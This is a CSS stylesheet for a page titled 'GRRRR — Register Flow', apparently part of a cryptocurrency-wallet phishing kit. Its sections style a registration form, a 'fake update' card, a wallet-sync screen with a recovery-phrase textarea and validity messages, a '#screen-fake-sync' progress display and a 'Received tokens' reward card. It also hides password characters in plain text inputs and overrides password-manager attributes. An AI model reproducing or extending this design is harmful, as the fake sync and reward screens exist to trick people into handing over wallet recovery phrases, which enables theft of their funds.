/* ============================================================
   GRRRR — Register Flow
   Complete stylesheet — clean, mobile-first, dark theme
   ============================================================ */

@font-face {
  font-family: "Inter";
  font-style: normal;
  font-weight: 400 700;
  font-display: swap;
  src: url("../assets/inter-variable.woff2") format("woff2");
}

:root {
  --black: #000000;
  --ground: #05070b;
  --raise: #0a0e15;
  --ink: #ffffff;
  --ink-70: rgba(255, 255, 255, .70);
  --ink-50: rgba(255, 255, 255, .50);
  --ink-35: rgba(255, 255, 255, .35);
  --hair: rgba(255, 255, 255, .08);
  --hair-2: rgba(255, 255, 255, .14);
  --accent: #2e9bff;
  --accent-hot: #6fc6ff;
  --accent-dim: rgba(46, 155, 255, .14);
  --live: #3ff0b2;
  --danger: #ff6c73;
  --green: #00ba7c;
  --body: "Inter", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Arial, sans-serif;
  --radius: 16px;
  --radius-sm: 10px;
}

*, *::before, *::after {
  box-sizing: border-box;
  min-width: 0;
}

html {
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  overflow-x: hidden;
}

body {
  margin: 0;
  min-height: 100vh;
  min-height: 100svh;
  display: flex;
  flex-direction: column;
  overflow-x: hidden;
  background: var(--black);
  color: var(--ink);
  font-family: var(--body);
  font-size: 16px;
  line-height: 1.6;
}

img, svg { display: block; max-width: 100%; }
button { font: inherit; cursor: pointer; }
a { color: inherit; text-decoration: none; }

::selection { color: #000; background: var(--accent-hot); }
:focus-visible { outline: 2px solid var(--accent-hot); outline-offset: 3px; }

/* ---------- PAGE / SCREEN ---------- */
.page {
  position: relative;
  z-index: 1;
  flex: 1;
  width: 100%;
  display: none;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 20px;
  padding: 40px 20px;
  margin: 0 auto;
}

.page.screen.is-active {
  display: flex;
  animation: fadeUp .6s cubic-bezier(.16, 1, .3, 1) both;
}

@keyframes fadeUp {
  from { opacity: 0; transform: translateY(16px); }
  to { opacity: 1; transform: none; }
}

@keyframes fadeIn {
  from { opacity: 0; }
  to { opacity: 1; }
}

/* ============================================================
   LOGO
   ============================================================ */

.register-logo {
  display: flex;
  justify-content: center;
  margin-bottom: 4px;
  animation: fadeIn .7s cubic-bezier(.16, 1, .3, 1) both;
}

.register-logo img {
  width: 56px;
  height: 56px;
  border-radius: 14px;
  object-fit: contain;
}

/* ============================================================
   REGISTER TITLE
   ============================================================ */

.register-title {
  margin: 0;
  width: 100%;
  max-width: 380px;
  text-align: center;
  font-family: var(--body);
  font-size: clamp(26px, 7.5vw, 32px);
  font-weight: 700;
  line-height: 1.18;
  letter-spacing: -0.02em;
  color: var(--ink);
  animation: fadeUp .7s cubic-bezier(.16, 1, .3, 1) .05s both;
}

/* ============================================================
   CHART CARD
   ============================================================ */

.register-card {
  display: flex;
  align-items: center;
  gap: 16px;
  width: 100%;
  max-width: 380px;
  margin: 0 auto;
  padding: 14px 16px;
  background: rgba(255, 255, 255, .025);
  border: 1px solid var(--hair);
  border-radius: 18px;
  animation: fadeUp .7s cubic-bezier(.16, 1, .3, 1) .15s both;
}

.chart-visual {
  flex: 0 0 auto;
  width: 84px;
  height: 84px;
  display: grid;
  place-items: center;
  background: #000;
  border-radius: 14px;
  overflow: hidden;
}

.chart-svg {
  width: 100%;
  height: 100%;
}

.chart-bar {
  fill: rgba(46, 155, 255, .28);
  transform-box: fill-box;
  transform-origin: center bottom;
  animation: barGrow 2.6s ease-in-out infinite;
}

@keyframes barGrow {
  0%, 100% { transform: scaleY(0.7); }
  50% { transform: scaleY(1); }
}

.chart-line {
  stroke-dasharray: 100;
  stroke-dashoffset: 100;
  animation: lineDraw 2.6s ease-in-out infinite;
}

@keyframes lineDraw {
  0% { stroke-dashoffset: 100; }
  55% { stroke-dashoffset: 0; }
  100% { stroke-dashoffset: 0; }
}

.chart-tip {
  animation: tipPulse 2.6s ease-in-out infinite;
  transform-box: fill-box;
  transform-origin: center;
}

@keyframes tipPulse {
  0%, 100% { opacity: 1; transform: scale(1); }
  50% { opacity: .5; transform: scale(1.4); }
}

.chart-copy {
  min-width: 0;
  text-align: left;
}

.chart-title {
  margin: 0;
  font-size: 14.5px;
  font-weight: 700;
  line-height: 1.35;
  color: var(--ink);
}

.chart-sub {
  margin: 5px 0 0;
  font-size: 13px;
  line-height: 1.5;
  color: var(--ink-50);
}

/* ============================================================
   FORM
   ============================================================ */

.form {
  display: grid;
  gap: 14px;
  width: 100%;
  max-width: 380px;
  margin: 0 auto;
}

#register-form {
  animation: fadeUp .7s cubic-bezier(.16, 1, .3, 1) .2s both;
}

.field {
  display: grid;
  gap: 8px;
  margin: 0;
}

.field-input {
  width: 100%;
  height: 58px;
  padding: 0 18px;
  font-family: var(--body);
  font-size: 16px;
  color: var(--ink);
  background: rgba(255, 255, 255, .025);
  border: 1px solid var(--hair-2);
  border-radius: 10px;
  transition: border-color .2s ease, background .2s ease, box-shadow .2s ease;
}

.field-input::placeholder { color: var(--ink-35); }
.field-input:hover { border-color: rgba(255, 255, 255, .22); }
.field-input:focus {
  outline: none;
  border-color: rgba(46, 155, 255, .55);
  background: rgba(46, 155, 255, .05);
  box-shadow: 0 0 0 4px rgba(46, 155, 255, .10);
}

/* Hide password characters in text inputs */
.field-password {
  -webkit-text-security: disc !important;
  text-security: disc !important;
}

.field-textarea {
  min-height: 130px;
  padding: 16px 18px;
  font-family: ui-monospace, Menlo, Consolas, monospace;
  font-size: 14px;
  line-height: 1.7;
  letter-spacing: .02em;
  resize: vertical;
}

.field-error {
  display: none;
  font-size: 13px;
  line-height: 1.5;
  color: var(--danger);
  font-weight: 500;
}

.field-error.is-visible {
  display: block;
  animation: fadeIn .2s ease;
}

/* ============================================================
   BUTTON
   ============================================================ */

.btn {
  position: relative;
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 10px;
  width: 100%;
  height: 52px;
  padding: 0 20px;
  font-family: var(--body);
  font-size: 16px;
  font-weight: 700;
  border-radius: 999px;
  border: 1px solid transparent;
  background: transparent;
  color: var(--ink);
  transition: background .2s ease, border-color .2s ease, color .2s ease, box-shadow .2s ease, opacity .2s ease, transform .15s ease;
}

.btn-primary {
  background: #fff;
  color: #000;
  border-color: #fff;
}

.btn-primary:hover:not(:disabled) {
  opacity: .92;
  box-shadow: 0 0 28px rgba(255, 255, 255, .18);
}

.btn-primary:active:not(:disabled) {
  transform: scale(.99);
}

.btn:disabled {
  opacity: .35;
  cursor: not-allowed;
}

.btn.is-loading { pointer-events: none; }

.btn-spinner {
  width: 16px;
  height: 16px;
  border: 2px solid rgba(0, 0, 0, .2);
  border-top-color: #000;
  border-radius: 50%;
  animation: spin .8s linear infinite;
  flex: 0 0 auto;
}

@keyframes spin { to { transform: rotate(360deg); } }

/* ============================================================
   CARD & FAKE UPDATE
   ============================================================ */

.card {
  position: relative;
  width: 100%;
  max-width: 380px;
  margin: 0 auto;
  padding: 36px 28px;
  background: rgba(10, 14, 21, .72);
  border: 1px solid var(--hair);
  border-radius: var(--radius);
  backdrop-filter: blur(24px);
  -webkit-backdrop-filter: blur(24px);
  box-shadow:
    0 1px 0 rgba(255, 255, 255, .04) inset,
    0 24px 60px -20px rgba(0, 0, 0, .8);
}

.card-center {
  text-align: center;
}

.title-sm {
  margin: 0 0 8px;
  font-size: 22px;
  font-weight: 700;
  line-height: 1.2;
  letter-spacing: -0.01em;
  color: var(--ink);
}

.subtitle {
  margin: 10px 0 0;
  font-size: 14.5px;
  line-height: 1.6;
  color: var(--ink-50);
}

.card-center .step-list {
  margin-top: 28px;
}

/* ---------- STATUS VISUAL ---------- */
.status-visual {
  display: grid;
  place-items: center;
  margin: 0 auto 24px;
  width: 80px;
  height: 80px;
}

.status-svg {
  width: 80px;
  height: 80px;
}

/* ============================================================
   STATUS SVG — CREATING ACCOUNT (SCREEN 2)
   ============================================================ */

.acct-ring {
  stroke: rgba(46, 155, 255, .25);
  stroke-dasharray: 188;
  stroke-dashoffset: 188;
  animation: acctRingDraw 2s cubic-bezier(.4, 0, .2, 1) forwards;
}

@keyframes acctRingDraw {
  to { stroke-dashoffset: 0; stroke: rgba(46, 155, 255, .55); }
}

.acct-user {
  stroke: var(--accent-hot);
  opacity: 0;
  animation: acctUserIn .8s ease-out .6s forwards;
}

@keyframes acctUserIn {
  0%   { opacity: 0; transform: scale(.85); transform-origin: 40px 40px; }
  100% { opacity: 1; transform: scale(1);   transform-origin: 40px 40px; }
}

.acct-dot {
  fill: var(--accent-hot);
  opacity: 0;
  animation: acctDotPulse 1.6s ease-in-out 1.4s infinite;
  transform-box: fill-box;
  transform-origin: center;
}

@keyframes acctDotPulse {
  0%   { opacity: 0;   transform: scale(.6); }
  20%  { opacity: 1;   transform: scale(1); }
  50%  { opacity: .5;  transform: scale(1.4); }
  80%  { opacity: 1;   transform: scale(1); }
  100% { opacity: .5;  transform: scale(1.4); }
}

.acct-check {
  stroke: var(--live);
  stroke-dasharray: 30;
  stroke-dashoffset: 30;
  animation: acctCheckDraw 1s cubic-bezier(.4, 0, .2, 1) 2.2s forwards;
}

@keyframes acctCheckDraw {
  to { stroke-dashoffset: 0; }
}

/* ============================================================
   STATUS SVG — SYNCING WALLET (SCREEN 4)
   ============================================================ */

.sync-arrows {
  transform-origin: 40px 40px;
  animation: syncRotate 3s linear infinite;
}

@keyframes syncRotate {
  to { transform: rotate(360deg); }
}

.sync-arrow-a,
.sync-arrow-a-head,
.sync-arrow-b,
.sync-arrow-b-head {
  stroke: var(--accent-hot);
  stroke-dasharray: 60;
  stroke-dashoffset: 60;
  animation: syncArrowDraw .8s cubic-bezier(.4, 0, .2, 1) forwards;
}

.sync-arrow-b,
.sync-arrow-b-head {
  animation-delay: .35s;
}

@keyframes syncArrowDraw {
  to { stroke-dashoffset: 0; }
}

.sync-wallet {
  opacity: 0;
  animation: syncWalletIn .7s cubic-bezier(.16, 1, .3, 1) .2s forwards;
}

@keyframes syncWalletIn {
  0%   { opacity: 0; transform: scale(.85); transform-origin: 40px 47px; }
  100% { opacity: 1; transform: scale(1);   transform-origin: 40px 47px; }
}

.sync-wallet rect,
.sync-wallet path {
  stroke: var(--accent-hot);
}

.sync-wallet-dot {
  fill: var(--accent-hot);
  animation: syncDotPulse 1.8s ease-in-out infinite;
  transform-box: fill-box;
  transform-origin: center;
}

@keyframes syncDotPulse {
  0%, 100% { opacity: 1;  transform: scale(1); }
  50%      { opacity: .4; transform: scale(1.5); }
}

/* ---------- STEP LIST ---------- */
.step-list {
  list-style: none;
  margin: 24px 0 0;
  padding: 0;
  display: grid;
  gap: 12px;
  text-align: left;
}

.step {
  display: flex;
  align-items: center;
  gap: 12px;
  font-size: 14px;
  color: var(--ink-35);
  transition: color .3s ease;
}

.step-icon {
  display: grid;
  place-items: center;
  width: 20px;
  height: 20px;
  flex: 0 0 auto;
  border: 1px solid var(--hair-2);
  border-radius: 50%;
  color: transparent;
  transition: border-color .3s ease, background .3s ease, color .3s ease;
}

.step-icon svg { width: 12px; height: 12px; }

.step.done { color: var(--ink-70); }
.step.done .step-icon {
  border-color: rgba(63, 240, 178, .5);
  background: rgba(63, 240, 178, .12);
  color: var(--live);
}

.step.active { color: var(--ink); }
.step.active .step-icon {
  border-color: rgba(46, 155, 255, .55);
  background: rgba(46, 155, 255, .12);
  color: var(--accent-hot);
  animation: stepPulse 1.4s ease-in-out infinite;
}

@keyframes stepPulse {
  0%, 100% { box-shadow: 0 0 0 0 rgba(46, 155, 255, .35); }
  50%      { box-shadow: 0 0 0 6px rgba(46, 155, 255, 0); }
}

/* ---------- PROGRESS ---------- */
.progress {
  position: relative;
  height: 6px;
  margin-top: 26px;
  border-radius: 999px;
  background: rgba(255, 255, 255, .06);
  overflow: hidden;
}

.progress-bar {
  display: block;
  height: 100%;
  width: 0;
  border-radius: 999px;
  background: linear-gradient(90deg, var(--accent), var(--accent-hot));
  box-shadow: 0 0 18px rgba(46, 155, 255, .5);
}

/* ============================================================
   SCREEN 3 — WALLET SYNC
   ============================================================ */

#screen-sync-wallet .card {
  max-width: 380px;
}

#screen-sync-wallet .card .title-sm {
  text-align: center;
}

#screen-sync-wallet .card .subtitle {
  text-align: center;
  margin-bottom: 10px;
}

/* ---------- SYNC INFO STEPS ---------- */
.sync-steps-info {
  display: grid;
  gap: 14px;
  margin-top: 22px;
  text-align: left;
}

.sync-step-item {
  display: flex;
  align-items: flex-start;
  gap: 12px;
}

.sync-step-num {
  flex: 0 0 auto;
  width: 26px;
  height: 26px;
  display: grid;
  place-items: center;
  border-radius: 50%;
  border: 1px solid rgba(46, 155, 255, .4);
  background: rgba(46, 155, 255, .1);
  color: var(--accent-hot);
  font-size: 12.5px;
  font-weight: 700;
}

.sync-step-text {
  min-width: 0;
  padding-top: 4px;
}

.sync-step-text span {
  display: block;
  font-size: 13.5px;
  color: var(--ink-70);
  line-height: 1.5;
}

/* ---------- SYNC LABEL ---------- */
.sync-label {
  display: block;
  margin-bottom: 4px;
  font-size: 13px;
  font-weight: 600;
  color: var(--ink-70);
  letter-spacing: .01em;
}

/* ---------- SYNC SECURITY MESSAGE ---------- */
.sync-security {
  display: flex;
  align-items: center;
  gap: 8px;
  margin-top: 6px;
  padding: 10px 12px;
  border: 1px solid rgba(63, 240, 178, .25);
  background: rgba(63, 240, 178, .06);
  border-radius: var(--radius-sm);
  font-size: 12.5px;
  line-height: 1.5;
  color: rgba(63, 240, 178, .9);
}

.sync-security svg {
  flex: 0 0 auto;
  color: var(--live);
}

#screen-sync-wallet .form {
  gap: 10px;
}

#screen-sync-wallet .btn {
  margin-top: 8px;
}

/* ---------- PHRASE STATUS ---------- */
.phrase-status {
  display: none;
  align-items: flex-start;
  gap: 10px;
  margin-top: 4px;
  padding: 12px 14px;
  border-radius: var(--radius-sm);
  font-size: 13.5px;
  line-height: 1.55;
  animation: fadeIn .25s ease;
}

.phrase-status.is-visible { display: flex; }

.phrase-status-icon {
  display: grid;
  place-items: center;
  width: 18px;
  height: 18px;
  flex: 0 0 auto;
  margin-top: 1px;
}

.phrase-status-icon svg { width: 16px; height: 16px; }

.phrase-status.valid {
  border: 1px solid rgba(63, 240, 178, .35);
  background: rgba(63, 240, 178, .08);
  color: var(--live);
}

.phrase-status.invalid {
  border: 1px solid rgba(255, 108, 115, .35);
  background: rgba(255, 108, 115, .08);
  color: var(--danger);
}

.phrase-status.info {
  border: 1px solid var(--hair-2);
  background: rgba(255, 255, 255, .025);
  color: var(--ink-50);
}

.phrase-status .phrase-status-text b { font-weight: 600; }

/* ============================================================
   SYNC PROGRESS — PERCENT
   ============================================================ */

.sync-percent {
  display: block;
  margin-top: 10px;
  text-align: right;
  font-family: ui-monospace, Menlo, Consolas, monospace;
  font-size: 12.5px;
  font-weight: 600;
  color: var(--accent-hot);
  letter-spacing: .04em;
}

/* ============================================================
   SYNC TOKENS CARD (Received tokens)
   ============================================================ */

.sync-tokens-card {
  display: none;
  align-items: center;
  gap: 12px;
  margin-top: 22px;
  padding: 14px 16px;
  background: rgba(63, 240, 178, .08);
  border: 1px solid rgba(63, 240, 178, .35);
  border-radius: var(--radius-sm);
  text-align: left;
  animation: syncTokensIn .6s cubic-bezier(.16, 1, .3, 1) both;
}

.sync-tokens-card.is-visible {
  display: flex;
}

@keyframes syncTokensIn {
  0%   { opacity: 0; transform: translateY(10px) scale(.96); }
  100% { opacity: 1; transform: translateY(0) scale(1); }
}

.sync-tokens-icon {
  flex: 0 0 auto;
  width: 32px;
  height: 32px;
  display: grid;
  place-items: center;
  border-radius: 50%;
  background: rgba(63, 240, 178, .15);
  color: var(--live);
}

.sync-tokens-icon svg {
  width: 18px;
  height: 18px;
}

.sync-tokens-copy {
  min-width: 0;
  text-align: left;
}

.sync-tokens-copy strong {
  display: block;
  font-size: 14px;
  font-weight: 700;
  color: var(--live);
  line-height: 1.3;
}

.sync-tokens-copy span {
  display: block;
  margin-top: 3px;
  font-size: 12.5px;
  color: rgba(255, 255, 255, .65);
  line-height: 1.45;
}

/* ============================================================
   SCREEN 4 — Sync step list spacing
   ============================================================ */

#screen-fake-sync .step-list {
  margin-top: 24px;
}

#screen-fake-sync .sync-tokens-card + .step-list {
  margin-top: 20px;
}

/* ---------- FOOTER ---------- */
.foot {
  position: relative;
  z-index: 1;
  padding: 22px 20px 28px;
  text-align: center;
}

.foot-text {
  font-size: 12px;
  letter-spacing: .04em;
  color: var(--ink-35);
}

/* ---------- ANTI-PASSWORD-MANAGER OVERRIDES ---------- */
input::-ms-reveal,
input::-ms-clear {
  display: none !important;
}

input[data-form-type="other"],
input[data-lpignore="true"],
input[data-1p-ignore="true"] {
  background-image: none !important;
}

/* ---------- RESPONSIVE ---------- */
@media (max-width: 480px) {
  .page {
    padding: 28px 18px 36px;
    justify-content: flex-start;
    gap: 18px;
  }
  .register-card {
    padding: 12px 14px;
    gap: 14px;
  }
  .chart-visual {
    width: 76px;
    height: 76px;
  }
  .chart-title { font-size: 14px; }
  .chart-sub { font-size: 12.5px; }
  .card { padding: 30px 22px; }
  .field-input { font-size: 16px; }
}

@media (prefers-reduced-motion: reduce) {
  *, *::before, *::after {
    animation-duration: .01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: .01ms !important;
  }
}